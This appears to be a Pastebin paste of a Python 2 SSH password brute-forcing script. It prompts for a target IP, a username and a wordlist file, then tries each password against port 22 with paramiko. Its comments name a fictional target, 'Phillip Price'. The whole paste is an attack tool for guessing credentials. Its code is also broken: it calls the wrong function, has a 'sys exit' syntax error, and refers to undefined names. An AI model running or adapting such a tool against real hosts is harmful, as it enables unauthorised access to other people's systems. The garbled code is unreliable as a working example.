Guest User

Untitled

a guest
Dec 23rd, 2018
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.82 KB | None | 0 0
  1. import paramiko, sys, os, socket # importing the required modules
  2.  
  3. global host, username, line, input_file # declaring global variables which can be assigned anywhere in the program
  4.  
  5. line = "\n............................................................\n"
  6.  
  7. def ssh_connect(password, code= 0):
  8. ssh = paramiko.SSHClient()
  9. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  10.  
  11. try:
  12. ssh.connect(host, port=22, username=username, password=password) # Prices open SSH port is standard 22.
  13. except paramiko.AuthenticationException:
  14. #[*] Authentication Failed ...
  15. code = 1
  16. except socket.error, e:
  17. #[*] Connection Failed ... Host Down"
  18. code = 2
  19.  
  20. ssh.close()
  21. return code
  22.  
  23. try:
  24. host = raw_input("[*] Enter Target IP Address: ") # Prices Computer IP Address: 192.168.122.132
  25. username = raw_input("[*] Enter SSH Username: ") # Prices Username: Phillip Price
  26. input_file = raw_input("[*] Enter SSH Password File: ") # Password File Name: passwords.txt
  27.  
  28. if os.path.exists(input_file) == False:
  29. print "\n[*] File Path Does Not Exist" # If the file path is not found the program will exit.
  30. sys.exit(4)
  31. except KeyboardInterrupt:
  32. print "\n\n[*] User Requested An Interrupt" # CTRL+C if user wants to close program.
  33. sys.exit(3)
  34.  
  35. input_file = open(input_file) # Opens the file
  36.  
  37. print ''
  38.  
  39. for i in input_file.readlines():
  40. password = i.strip("\n")
  41. try:
  42. response = ssh.connect(password)
  43.  
  44. if response == 0:
  45. print("%s[*] User: %s [*] Pass Found: %s%s" % (line, username, password, line))
  46. sys.exit(0)
  47. elif response == 1:
  48. print("[*] User: %s [*] Pass %s ==> Login Incorrect !!! <==" % (username, password))
  49. elif response == 2:
  50. print("[*] Connection Failed: %s" % (host))
  51. sys exit(2)
  52. except Exception, e:
  53. print epass
  54.  
  55. input_file_close()
Add Comment
Please, Sign In to add comment